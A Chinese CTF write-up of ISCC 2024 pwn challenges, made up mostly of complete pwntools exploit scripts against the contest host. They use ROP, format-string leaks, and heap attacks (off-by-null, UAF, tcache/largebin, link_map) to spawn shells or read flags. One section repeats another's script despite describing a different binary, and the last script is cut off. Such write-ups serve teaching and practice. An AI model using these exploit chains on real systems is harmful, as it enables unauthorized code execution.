[ISCC 2024] pwn

记得去年的ISCC,热闹。今年的逆向啥的都不会作了,就作了点PWN,有两个是师傅给的WP。也算凑齐了。

这网站比赛结束后,居然上不去了,弄得连几个题都不清楚了。

练武题

chao

这题比较搞,在edit有可读入0x20字节可以有8字节溢出,但后边有个菜单进去直接输入Flag就进到后门了。

Your_program

输入key的时候用到危险函数gets,利用这个溢出。PIE未开,直接写ROP。

__int64 authorize()
{
  char v1[28]; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+1Ch] [rbp-4h]

  v2 = 2;
  printf("Enter key: ");
  gets(v1);
  if ( v1[27] != 0x41 )
  {
    puts("failed!");
    exit(0);
  }
  puts("successful!");
  return 0LL;
}

 

from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./Your_program')

#p = process('./Your_program')
p = remote('182.92.237.102', 10032)

authorize = elf.sym['authorize']
bss = 0x403a00
pop_rdi = 0x0000000000401763 # pop rdi ; ret
pop_rsi = 0x0000000000401761 # pop rsi ; pop r15 ; ret

#gdb.attach(p, "b*0x4012da\nc")
p.sendlineafter(b"Enter key: ", b'A'*0x20 + flat(bss, pop_rdi, elf.got['gets'], elf.plt['puts']-4, elf.sym['authorize']))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x83970
print(hex(libc_base))

system = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd
p.sendlineafter(b"Enter key: ", b'A'*0x20 + flat(0, pop_rdi+1, pop_rdi, bin_sh, system))

p.interactive()

*shopping

 n1ctf2018_null(通过劫持线程arena达到任意地址分配)

原题。

read会造成溢出,第1次不够再读会造成溢出。

size_t __fastcall sub_400BCA(__int64 a1, size_t a2)
{
  size_t result; // rax
  int v3; // [rsp+1Ch] [rbp-14h]
  size_t i; // [rsp+20h] [rbp-10h]

  for ( i = 0LL; ; i += v3 )
  {
    result = i;
    if ( i >= a2 )
      break;
    v3 = read(0, (void *)(a1 + i), a2);         // 分两次写实现溢出
    if ( v3 <= 0 )
    {
      write(1, "error\n", 6uLL);
      sub_400AD6(1LL);
    }
  }
  return result;
}

 进程中,当heap用完,再建时会建在线程数据块前,然后利用溢出将BSS的指针写到fastbin里。

from pwn import *

context(arch='amd64', log_level='debug')

sh = process('./p4')
#sh = remote('182.92.237.102', 10019)
#sh = remote('node3.buuoj.cn',26808)
elf = ELF('./p4')
system_plt = elf.plt['system']

sh.sendlineafter(b"Enter the password: ",b"I'm ready for shopping")
 
def add(size,n,content=b'', content2=b''):
   sh.sendlineafter(b"Action: ",b'1')
   sh.sendlineafter(b"Item ID: ",str(size).encode())
   sh.sendlineafter(b"Quantity: ",str(n).encode())
   if content == b'':
      sh.sendlineafter(b"Add gift message? (0/1): ",b'0')
   else:
      sh.sendlineafter(b"Add gift message? (0/1): ",b'1')
      sh.sendafter(b"Message: ",content)
      sleep(0.2)
      sh.send(content2)
      
gdb.attach(sh, "b*0x400e32\nc")
'''
[+] In (0x7ffff0000000-0x7ffff3ffd000), permission=rw-
  0x7ffff00008b8 - 0x7ffff00008c0  →   "\x15\x40[...]" 

gef➤  search- 0x4015 little 0x00007fffe8000000-0x00007fffe8001000
[+] Searching '\x15\x40' in 0x00007fffe8000000-0x00007fffe8001000
[+] In (0x7fffe8000000-0x7ffff0000000), permission=rw-
  0x7fffe8000028 - 0x7fffe8000030  →   "\x15\x40[...]" 

'''
for i in range(12):
   add(0x4000,1000)

#溢出,修改thread_arena,将bss上的fake_chunk接到fastbin里
add(0x4000,262,'0'*0x3FF0, b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d))


payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
add(0x60,0,payload.ljust(0x60, b'b')) #申请到bss上,602038 修改函数指针,getshell
 
sh.interactive()
#ISCC{63665ea3-5e5c-4109-a912-eceac236bb91}
#原文链接:https://blog.csdn.net/seaaseesa/article/details/107597557

miao

 32位程序,静态编译,gets可以溢出。

用ROP弄个chains再改改,绕过那些\n

from pwn import *
from struct import pack

# Padding goes here
p = b''

#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0) 

p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0) 

p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8666) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x0) 

p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x08054c6b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080def3d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
#p += pack('<I', 0x0806f30a) # pop edx ; ret
p += pack('<I', 0x0806f309) # pop ebx ; pop edx ; ret
p += pack('<I', 0x080ea060) 

p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049573) # xor eax, eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0807acff) # inc eax ; ret
p += pack('<I', 0x0806cf83) # int 0x80

#io = process('./miao')
io = remote('182.92.237.102', 10015)
context(arch='i386', log_level='debug')

#gdb.attach(io, "b*0x80489cf\nc")
#get canary
io.sendlineafter(b"Would you like to say something to it?\n", b'%31$x')
canary = int(io.recv(8), 16)


io.sendlineafter(b" (  ^.^  ) \n", b'A'*100 + flat(canary,0,0,0) + p)

io.interactive()

Flag

 什么年代了还32位程序。高度怀疑这些题的来历。

welcome有个printf,然后 back有个溢出

from pwn import *

context(arch='i386', log_level='debug')
elf = ELF('./p3')

p = remote('182.92.237.102', 10012)
#p = process('./p3')

#gdb.attach(p, "b*0x8049382\nc")
p.sendlineafter(b"what's the content?\n", b'%19$p,%22$p,%27$p,')
#p.sendlineafter(b"what's the content?\n", b'%19$p,%22$p,%27$p,')

p.recvuntil(b"Your answered:\n")
canary = int(p.recvuntil(b',', drop=True), 16)
rbp = int(p.recvuntil(b',', drop=True), 16)
libc = int(p.recvuntil(b',', drop=True), 16) - 0x1aed5 #0x1eed5
print(f"{libc = :x} {canary = :x} {rbp = :x}")

bin_sh = libc + 0x18c363
system = libc + 0x41360

#p.sendafter(b"Input:\n", b'\x00'*0x88 + flat(canary,1,0,0, elf.plt['puts'],0, elf.got['puts']))
p.sendafter(b"Input:\n", b'\x00'*0x88 + flat(canary,1,0,0, system,0, bin_sh))

p.interactive()

eazy_heap

 突然这难度就上来了,libc-2.35 off_by_null 还好有模板。

造重叠块后往栈里写ORW

from pwn import *

context(arch='amd64',log_level='debug')
libc = ELF('./libc.so.6') #libc-2.35-0ubuntu3
#p = process('./CAT_DE')
p = remote('182.92.237.102', 2122)

def add(size, msg=b'A'):
    p.sendlineafter(b"input your car choice >> \n", b'1')
    p.sendlineafter(b"size:\n", str(size).encode())
    p.sendafter(b"content:\n", msg)

def free(idx):
    p.sendlineafter(b"input your car choice >> \n", b'2')
    p.sendlineafter(b"idx:\n", str(idx).encode())

def show(idx):
    p.sendlineafter(b"input your car choice >> \n", b'3')
    p.sendlineafter(b"idx:\n", str(idx).encode())
    p.recvuntil(b"context:\n")

def edit(idx, msg): #off_by_null
    p.sendlineafter(b"input your car choice >> \n", b'4')
    p.sendlineafter(b"idx:\n", str(idx).encode())
    p.sendafter(b"content:\n", msg)

add(0x410) #A 0
add(0x120)
add(0x410) #B 2
add(0x440) #C 3 C落在尾字节为0的位置  xxxc00 x 0x450
add(0x140)
add(0x4d0) #D
add(0x410) #E 6
add(0x110)

for i in [0,3,6,2]:
    free(i)

#newB 比oldB 大0x20 oldC头部的largebin指针保留在newB尾部
add(0x430, b'\x00'*0x418+p32(0x5a0)) #0 new B = B +0x20
add(0x410) #2 E
add(0x410) #3 A
add(0x420) #6 new C = C-0x20

free(3) #A
free(6) #newC

add(0x410, p64(0)+ b'\0') #3 保留第2组指针bk尾字节置0后,指向第1块保留的指针
add(0x420) #6 newC

free(6) #newC
free(2) #E
free(5) #D

add(0x4f0, b'A'*0x4e0+b'\0') #2 newD = D+0x20
add(0x3f0) #5 newE
add(0x420) #6 newC

free(4)
add(0x148) #off_by_null newD 0x501->0x500 , pre_size=0x4a0
edit(4, b'A'*0x140+p64(0x5a0))

free(2) #向前合并 C+4+D 形成重叠

show(6)
libc.address = u64(p.recv(8)) - 0x21a000
print(f"{libc.address = :x}")
heap_base = u64(p.recv(16)[8:]) - 0xc20
print(f"{heap_base = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x000000000011f497 # pop rdx ; pop r12 ; ret
pop_rcx = libc.address + 0x000000000008c6bb # pop rcx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
pop_rbp = libc.address + 0x000000000002a2e0 # pop rbp ; ret
syscall = libc.sym['getpid'] + 9
leave_ret = libc.address + 0x00000000000562ec # leave ; ret  ??
stdout = libc.sym['_IO_2_1_stdout_']

add(0x88)
add(0x88)
add(0xc8)
add(0xc8)
free(2)
free(8)
edit(6, b'A'*0x68 + flat(0x91, (heap_base>>12)^(libc.sym['environ']-0x10)))
add(0x88) #2
add(0x88) #8
show(8)
stack = u64(p.recv(0x18)[0x10:]) - 0x140 - 8 

free(10)
free(9)
edit(6, b'A'*0x68 + flat(0x91, b'B'*0x88, 0xd1, (heap_base>>12)^stack))
add(0xc8)
#gdb.attach(p, "b*0x5555555555dd\nc")
orw = flat([
    pop_rdi, stack, pop_rsi,0, pop_rax,2, syscall, #open(flag)
    pop_rdi,3, pop_rsi, stack+0xc0, pop_rdx,0x50,0, pop_rax, 0, syscall, #read(3,buf,0x50)
    pop_rdi,1, pop_rax, 1, syscall
])

add(0xc8, b'/flag\0\0\0'+orw)

p.interactive()

easyshell

 gets+printf先泄露地址,然后溢出写后门

from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./p2')
p = remote('182.92.237.102', 10011)
p.sendlineafter(b'>>', b'flagis %15$p,%16$p,%17$p,')


canary = int(p.recvuntil(b',', drop=True),16)
rbp = int(p.recvuntil(b',', drop=True),16)
elf = int(p.recvuntil(b',', drop=True),16)

p.sendlineafter(b'>>', b'exit'.ljust(56,b'\x00') + flat(canary,rbp,elf-0x1520+0x128e))

p.interactive()

U

 32位,堆题,有UAF和管理块。控制管理块

from pwn import *

context(arch='i386', log_level='debug')
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
elf = ELF('./U')

menu = b"What's your choice :"
def add(size,msg=b'A'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Note size :", str(size).encode())
    p.sendafter(b"Content :", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index :", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index :", str(idx).encode())

#p = process('./U')
p = remote('182.92.237.102', 10016)

#1, chunk2.data = chunk0.manage 修改指针泄露libc
add(0x18)
add(0x18)
free(0)
free(1)
add(8, flat(elf.sym['print_note_content'], elf.got['read']))  

show(0)
libc.address = u32(p.recv(4)) - libc.sym['read']
print(f"{libc.address = :x}")

#2, 将chunk0.cmd改为gets 用show实现对后边chunk1的写
free(2)
add(8, flat(libc.sym['gets']))

#3,让chunk1.ptr=notelist 泄露堆地址,获得tcache的key
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  elf.sym['print_note_content'], elf.sym['notelist'],0 , 0x21, elf.got['free']))
show(1)
heap = u32(p.recv(4)) - 0x1a0
print(f"{heap = :x}")

#4,泄露栈上的指针 使用25->61->43的链修改为指向count,chunk[2],chunk[3],使count=2,清掉chunk2,3
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], b',%8$p,%25$p,%61$p,%43$p,'))

#gdb.attach(p, "b*0x804964a\nc")
show(1)
p.recvuntil(b',')
stack = int(p.recvuntil(b',', drop=True),16) - 0x88 + 0xfc
print(f"{stack = :x}")
pause()

#count=2
show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], f'%{(stack&0xffff)-4}c%25$hn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')

show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], f'%{0xc044-4}c%61$hn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')

show(0)
p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], f'%254c%43$hhn,,,'.encode()))
show(1) #25, 61->43
p.recvuntil(b',,,')

#cleak notelist 2-3
for v in range(0x50,0x58):
    show(0)
    p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], f'%{v-4}c%61$hhn,,,'.encode()))
    show(1) #25, 61->43
    
    show(0)
    p.sendline(flat(libc.sym['gets'], next(libc.search(b'/bin/sh\0')), 0, 0x21, b'B'*0x1c, 0x11,  libc.sym['printf'], f'%252c%43$hhn,,,'.encode()))
    show(1) #25, 61->43
    p.recvuntil(b',,,')

'''
0xffddbd50│+0x0000: 0x099de1d0  →  0xf7dd72b0  →  <printf+0> endbr32     ← $esp
0xffddbd54│+0x0004: 0xffddbd68  →  0xf7f70a31  →  0xe0f7ecc5
0xffddbd58│+0x0008: 0x00000004
0xffddbd5c│+0x000c: 0x080495a5  →  <print_note+16> add ebx, 0x2a5b
0xffddbd60│+0x0010: 0x0804a0e3  →  "What's your choice :"                    #4
0xffddbd64│+0x0014: 0x00000001
0xffddbd68│+0x0018: 0xf7f70a31  →  0xe0f7ecc5
0xffddbd6c│+0x001c: 0x2d45a600
0xffddbd70│+0x0020: 0xffddbd88  →  0xffdd0a33  →  0x00000000                 #8
0xffddbd74│+0x0024: 0x0804c000  →  0x0804bf0c                                #9
0xffddbd78│+0x0028: 0xffddbd98  →  0x00000000    ← $ebp
0xffddbd7c│+0x002c: 0x080497d6  →  <main+180> jmp 0x80497f5 <main+211>
0xffddbd80│+0x0030: 0x00000001

0xffddbdb4│+0x0064: 0xffddbe44  →  0xffddd2ea  →  0x00552f2e ("./U"?)        #25->61->43:count
0xffddbdfc│+0x00ac: 0x080491a0  →  <_start+0> endbr32                        #43
0xffddbe44│+0x00f4: 0xffddd2ea  →  0x00552f2e ("./U"?)                       #61

'''

#5,tcache attack 写got.free 为system ,chunk0.ptr->/bin/sh free(0)
show(0)
p.sendline(flat(libc.sym['gets'],next(libc.search(b'/bin/sh\0')),0,     0x21, b'B'*0x1c,     0x11,0,0,0,   0x21, elf.got['free'], heap+0x10))

add(0x18)
add(0x18, flat(libc.sym['system'], 0x8049663)) #got.free->system

free(0)
#gdb.attach(p)
#pause()



p.interactive()

#ISCC{9a7c5fbc-9d62-4edc-998a-62e8152f4df3}

ISCC_easy 

printf+溢出,没可说的了

from pwn import *

context(arch='i386', log_level='debug')
libc = ELF('/home/kali/ctf/0501/libc6-i386_2.31-0ubuntu9.14_amd64.so')

#p = process('./ISCC_easy')
#gdb.attach(p, "b*0x80492e3\nc")
p = remote('182.92.237.102', 10013)

p.sendafter(b"Let's have fun!\n", p32(0x804c030)+b'A%4$hhn,%12$p,%15$p,')
p.recvuntil(b',')
stack = int(p.recvuntil(b',', drop=True), 16)
libc.address = int(p.recvuntil(b',', drop=True), 16) - 245 - libc.sym['__libc_start_main']
print(f"{libc.address = :x}")

p.sendafter(b"Input:\n", b'A'*0x94 + flat(libc.sym['system'],0, next(libc.search(b'/bin/sh\0'))))

p.interactive()

heapheap

 libc-2.31 UAF ORW

只能建大块,写link_map,模板

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF("./heapheap")
libc = ELF('./libc-2.31.so')

#p = process('./heapheap')
p = remote('182.92.237.102', 11000)

menu = b"Your choice:\n"
def add(idx,size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.recvline()

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"context: \n", msg)

add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
 
free(0)
add(3, 0x500) #0 unsort->largebin
'''
0x7ffff7fc0fe0: 0x0000555555a01290      0x0000555555a01290  largebin
0x555555a012a0: 0x00007ffff7fc0fd0      0x00007ffff7fc0fd0
0x555555a012b0: 0x0000555555a01290      0x0000555555a01290 -> heap_self -> rtld_global - 0x20
'''
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']

edit(0, b'A'*0x10)
show(0)
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_self - 0x290
 
ld_remote_off = 0
ld_remote_off = 0x6000
rtld_global = libc_base + 0x228060 - ld_remote_off 
print(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")

free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))
add(4, 0x500)
'''
0x7ffff7ffd060 <_rtld_global>:  0x00007ffff7ffe190      0x0000000000000004
0x7ffff7ffd060 <_rtld_global>:  0x0000555555a01bd0 -> chunk2
'''
 
libc.address = libc_base
one = libc_base + 0xe3b04
pop_rdi = libc_base+0x23b6a
pop_rsi = libc_base+0x2601f
pop_rdx = libc_base+0x119431 #pop rdx;pop r12;ret
setcontext_3d = libc.sym['setcontext'] + 0x3d
chunk_base = heap_base + 0xbd0
 
link_map=p64(0)
link_map+=p64(rtld_global+0x16e0)
link_map+=p64(0)
link_map+=p64(chunk_base)
link_map+=p64(0)*28 
link_map+=p64(chunk_base+0x110)
link_map+=p64(chunk_base+0x110+0x20)
link_map+=p64(chunk_base+0x110+0x10)
link_map+=p64(0x20)
link_map+=b"flag\0\0\0\0"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1)  #ret 
link_map+=p64(0)*12
link_map+=p64(0)
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(0)*2
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8)
link_map+=p64(libc.sym['read'])  #read(0, chunk_base+0x238, 0x100)
link_map+=p64(0)*36
link_map+=p64(0x800000000)
 
edit(2, link_map)

p.sendlineafter(menu, b'5')
 
#orw
flag_addr = chunk_base+0x130
orw = flat([pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'], 
    pop_rdi, 3, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['read'],
    pop_rdi, 1, pop_rsi,heap_base+0x2a0,pop_rdx,0x50,0, libc.sym['write']])
 
p.send(orw)
 
p.interactive()

擂台题

*babyheap

先是个基于time的srand,不过ida翻译过来的不能直接用

srand(100 * ((__int64)((((__int64)0xA3D70A3D70A3D70BLL * (unsigned __int128)v0) >> 64) + v0) >> 6));

师傅的WP里是v0-v0%100,不知道为什么编译后就这么复杂了。

然后是写__stdout_FILE

from ctypes import *
from pwn import *
import time

context(arch='amd64', log_level='debug')
elf = ELF('./babyheap')
libc = ELF('/home/kali/ctf/0501/libc.so')
clibc = cdll.LoadLibrary("/home/kali/ctf/0501/libc.so")

def check1(s):
    v3 = [48,57,65,90,97,122]
    chk = ''
    for i in range(s):
        while True:
            v0 = clibc.rand()%6
            if v0&1 == 0:
                break
        chk += chr(v3[v0] + clibc.rand()%(v3[v0+1]-v3[v0]+1))
    return chk

def edit(idx,msg):
    p.sendlineafter(b"Please Select: ", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", b'256')
    p.sendlineafter(b"Content: ", msg)

def add(idx,size):
    p.sendlineafter(b"Please Select: ", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def free(idx):
    p.sendlineafter(b"Please Select: ", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx,size):
    p.sendlineafter(b"Please Select: ", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def gift(s):
    p.sendlineafter(b"Please Select: ", b'114514')
    p.sendlineafter(b"Please enter the captcha: ", s.encode())
    
p = process('./babyheap')

#v0 = clibc.time(0)  #返回秒数,但直接调用会报错?
#seed = (100 * (((((0xA3D70A3D70A3D70B-(1<<64)) * v0)%(1<<128) >> 64) + v0) >> 6))%(1<<32)
'''
.text:0000000000001269 89 C0                         mov     eax, eax
.text:000000000000126B 48 89 45 F8                   mov     qword ptr [rbp+seed], rax
.text:000000000000126F 48 8B 4D F8                   mov     rcx, qword ptr [rbp+seed]
.text:0000000000001273 48 BA 0B D7 A3 70 3D 0A D7 A3 mov     rdx, 0A3D70A3D70A3D70Bh
.text:000000000000127D 48 89 C8                      mov     rax, rcx
.text:0000000000001280 48 F7 EA                      imul    rdx

imul rdx : rax *= rdx ,rdx存的是积的符号扩展,不能用(a*b)>>64表示,要转负数
'''

v0 = int(time.time())
seed = v0 - v0%100
clibc.srand(seed)

s1 = check1(8)
s2 = check1(16)
s3 = check1(16)
print('ck1:', s1, s2, s3)
p.sendlineafter(b"To verify that you are AI. Enter the captcha: ", s1.encode())

gdb.attach(p)
pause()


gift(s2)
p.recvuntil(b"Give You: ")
libc.address = int(p.recvline(), 16) - libc.sym['printf']
print(f"{libc.address = :x}")

add(0,0x20)
off = (0x9db0-0x8060)//8
'''
gef➤  x/40gx 0x0000555555558000
0x555555558000: 0x0000555555558000      0x0000000200000000
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020: 0x0000000000000000      0x0000000000000000
0x555555558030: 0x0000000000000000      0x0000000000000000
0x555555558040: 0x4a6b326e41453330      0x3778306b3838794e
0x555555558050: 0x0000000000000000      0x0000000000000000
0x555555558060: 0x0000555555559db0      0x0000000000000000
'''

fake_IO = b'/bin/sh\x00'
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['__stdio_close'])
fake_IO += p64(1)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(0)
fake_IO += p64(libc.sym['system'])

edit(0,p64(libc.sym['__stdout_FILE']))
edit(off, fake_IO)

gift(s3)  #call printf 

p.interactive()

curious

代码很乱,前边有个base变表检查,然后就是个溢出,看代码的难度

__int64 __fastcall sub_40200C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, u32 a6)
{
  void *v6; // rdi
  __int64 v7; // r8
  u32 v8; // r9d
  int v9; // edx
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d

  sub_419300((int *)off_4C2730, 0LL, 2, 0LL, a5, a6);
  v6 = off_4C2738;
  sub_419300((int *)off_4C2738, 0LL, 2, 0LL, v7, v8);
  sub_401DB5((__int64)v6, 0, v9, v10, v11, v12);
  if ( (unsigned int)sub_401F47(byte_4C54E0) )  // oh1yes
    sub_419120("Go out!");
  else
    sub_401F7E();                               // 溢出
  return 0LL;
}
from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./curious')
#gdb.attach(p, "b*0x401ff3\nc")
p = remote('182.92.237.102', 10031)

p.sendafter(b"Do you know what I want?", b'oh1yes') #变表b64 a-zA-Z0-9+/ B2GXEwvZ
p.sendlineafter(b"give me your name", b'A')

pop_rdi = 0x0000000000401912 # pop rdi ; ret
pop_rsi = 0x000000000040f49e # pop rsi ; ret
pop_rdx = 0x000000000040181f # pop rdx ; ret
pop_rax = 0x0000000000452af7 # pop rax ; ret
syscall = 0x00000000004012d3 # syscall
bin_sh  = 0x4978b5
p.sendlineafter(b"Now what do you want to say?", b'A'*0x20+ flat(0,pop_rdi, bin_sh, pop_rsi,0,pop_rdx,0, pop_rax, 59, syscall))

p.interactive()
#ISCC{nsKy2vjTBm82ZDshA5XSoEOm2IWSfc5UXDWb}

great

还是32位gets

from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./curious')
#gdb.attach(p, "b*0x401ff3\nc")
p = remote('182.92.237.102', 10031)

p.sendafter(b"Do you know what I want?", b'oh1yes') #变表b64 a-zA-Z0-9+/ B2GXEwvZ
p.sendlineafter(b"give me your name", b'A')

pop_rdi = 0x0000000000401912 # pop rdi ; ret
pop_rsi = 0x000000000040f49e # pop rsi ; ret
pop_rdx = 0x000000000040181f # pop rdx ; ret
pop_rax = 0x0000000000452af7 # pop rax ; ret
syscall = 0x00000000004012d3 # syscall
bin_sh  = 0x4978b5
p.sendlineafter(b"Now what do you want to say?", b'A'*0x20+ flat(0,pop_rdi, bin_sh, pop_rsi,0,pop_rdx,0, pop_rax, 59, syscall))

p.interactive()
#ISCC{nsKy2vjTBm82ZDshA5XSoEOm2IWSfc5UXDWb}

simulation_game

libc-2.35 修改mp_.tcache_max_bins 改最大tcache不是改大小是改计数,每个大0x10

largebinattack写到mp_.tcache_max_bins

然后是tcache attack写orw,不过先要读下目录,知道文件叫啥。

from pwn import *
from ctypes import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary("./libc.so.6")

#p = process('./simulation_game')
p = remote('182.92.237.102',8888)

seed = int(time.time())//10
clibc.srand(seed)
m1 = clibc.rand() % 0x10000 + 4660
m2 = clibc.rand() % 0x10000 + 87672
m3 = clibc.rand() % 0x10000 + 170684 #
m4 = clibc.rand() % 0x10000 + 253680

def add(idx,size,msg=b'A'): #size  1-5 x500 520 540 560 580
    p.sendlineafter(b"> ", str(m1).encode())  #1start
    p.sendlineafter(b"> ", b'6') #save 
    p.sendlineafter(b"> ", str(idx).encode()) #idx 0-11
    p.sendlineafter(b"> ", size) #size  1-5 x500 520 540 560 580
    p.sendafter(b"name: ", msg)
    p.sendlineafter(b"> ", b'7') #return 0

edit = add
def free(idx, ret=b'7', free=b'1'):
    p.sendlineafter(b"> ", str(m2).encode())  #2load
    p.sendlineafter(b"> ", str(idx).encode()) #idx 0-11
    p.sendlineafter(b"> ", free) #free
    p.sendlineafter(b"> ", ret) #return 0

def load_and_save(idx1,idx2,msg): #load no free and save
    p.sendlineafter(b"> ", str(m2).encode())  #2load
    p.sendlineafter(b"> ", str(idx1).encode()) #idx 0-11
    p.sendlineafter(b"> ", b'0') #free
    p.sendlineafter(b"> ", b'6') #save 
    p.sendlineafter(b"> ", str(idx2).encode()) #idx 0-11
    p.sendlineafter(b"> ", b'1') #size  1-5 x500 520 540 560 580
    p.sendafter(b"name: ", msg)
    p.sendlineafter(b"> ", b'7') #return 0

def show():
    p.sendlineafter(b"> ", str(m2).encode())  #2load
    p.recvuntil(b'\x1bc0..........')
    v = p.recvuntil(b'11...')+p.recvuntil(b'\n')
    p.sendlineafter(b"> ", b'88')
    return v

def debug(idx,msg):
    p.sendlineafter(b"> ", str(m4).encode())  #1start
    p.sendlineafter(b"Choice a file for debugging.\n", str(idx).encode()) #idx 0-11
    p.sendafter(b"data: ", msg)

####################################################################
#largebin attack 在mp_.tcache_max_bins写地址,使0x500块进tcache 
####################################################################

add(0,b'2') #save
add(1,b'1')
add(2,b'1')  #4=2+0x20
free(0)
add(3,b'3')  #0 large
free(2)      #4 unsort
v = show().split(b'\n')
large500 = u64(v[0].ljust(8, b'\x00'))
libc.address = large500 - 0x21b110
print(f"{libc.address = :x}")

tcache_max_bins = libc.sym['obstack_exit_failure'] - 0x20 #mp_.tcache_max_bins
print(f"{tcache_max_bins = :x}")

edit(0, b'1', flat(large500,large500,0, tcache_max_bins-0x20))
add(4,b'3')  #largebin attack 0x100000=chunk4-0x10

####################################################################
#tcache attack 写orw到栈
####################################################################

free(3)
free(4)

v = show().split(b'\n')
heap = u64(v[3][11:].ljust(8, b'\x00'))<<12
edit(4, b'3', p64(0x100050^(heap>>12)))
add(5,b'3')
add(6,b'3', flat(0x100100, libc.sym['_environ'], 0x100000)) #
show()
v = show().split(b'\n')
stack = u64(v[9][11:].ljust(8, b'\x00')) - 0x150
print('vuln ret:', hex(stack))

#gdb.attach(p, "b*0x55555555635a\nc")

load_and_save(8,10, flat(1,0, stack, 0x100050)) #从8中读入全0的参数写入0x100000避免参数进入指针区,并置s,chunk0

